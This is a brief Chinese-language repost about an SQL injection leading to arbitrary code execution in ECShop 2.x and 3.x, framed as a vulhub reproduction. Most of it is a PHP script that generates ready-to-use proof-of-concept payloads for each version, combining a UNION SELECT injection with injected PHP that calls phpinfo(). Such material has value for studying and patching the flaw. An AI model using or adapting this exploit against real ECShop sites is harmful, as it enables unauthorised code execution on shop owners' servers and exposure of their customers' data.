篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了ECShop 2.x/3.x SQL注入/任意代码执行漏洞相关的知识，希望对你有一定的参考价值。
ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于php语言及mysql数据库构架开发的跨平台开源程序。
其2017年及以前的版本中，存在一处SQL注入漏洞，通过该漏洞可注入恶意数据，最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞，vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。
生成2.x和3.x的POC
<?php
$shell = bin2hex("{$asd'];phpinfo ();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: ";
echo "{$hash2}ads|{$s}{$hash2}";
echo " POC for ECShop 3.x: ";
echo "{$hash3}ads|{$s}{$hash3}";
